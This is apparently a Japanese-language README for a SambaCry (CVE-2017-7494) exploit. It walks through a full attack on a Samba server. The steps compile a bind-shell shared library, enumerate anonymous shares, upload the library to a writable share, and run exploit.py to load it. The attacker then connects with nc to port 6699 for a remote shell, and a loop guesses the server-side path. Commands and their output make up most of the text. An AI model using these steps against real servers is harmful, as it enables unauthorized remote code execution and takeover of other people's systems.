CVE-2017-7494 SambaCry Exploit

SambaCry (CVE-2017-7494) を悪用してSambaを攻撃（Metasploitなしのバインドシェル）

ポートを変更する必要がある場合は、bindshell-samba.c の68行目を変更して再コンパイルしてください：

gcc -c -fpic bindshell-samba.c

gcc -shared -o libbindshell-samba.so bindshell-samba.o

攻撃方法：

共有を確認します（この例では匿名ユーザーを使用しています）：

smbclient -L //192.168.10.131/ -U "" -N

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	publico         Disk      Publico
	IPC$            IPC       IPC Service (maq131 server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            CHORA

フォルダにアクセスし、ユーザーに書き込み権限があるか確認します：

smbclient //192.168.10.131/publico -U "" -N

書き込み権限がある場合、libbindshell-samba.so ファイルを送信します：

smb: \> mput libbindshell-samba.so

Put file libbindshell-samba.so? yes
putting file libbindshell-samba.so as \libbindshell-samba.so (3.5 kb/s) (average 3.5 kb/s)
smb: \> dir
  .                                   D        0  Tue Nov  1 19:44:15 2022
  ..                                  D        0  Wed Jun 14 14:16:35 2017
  libbindshell-samba.so               A     8432  Tue Nov  1 19:44:17 2022

		3997376 blocks of size 1024. 1960284 blocks available
smb: \>

次に、エクスプロイトを実行します：
python2 exploit.py -t target_ip -m path_absoluto_server_side

例：

python2 exploit.py -t 192.168.10.131 -m /home/publico/libbindshell-samba.so

ポート6699/TCPに接続します：

nc -vn 192.168.10.131 6699

サーバー側の絶対パスがわからない場合は、推測を行い、ポート6699/TCPが開くのを待ちます：

for i in $(cat paths.txt);do python2 exploit.py -t 192.168.10.131 -m $i/publico/libbindshell-samba.so 2>/dev/null;done

CVE-2017-7494_SambaCry

人気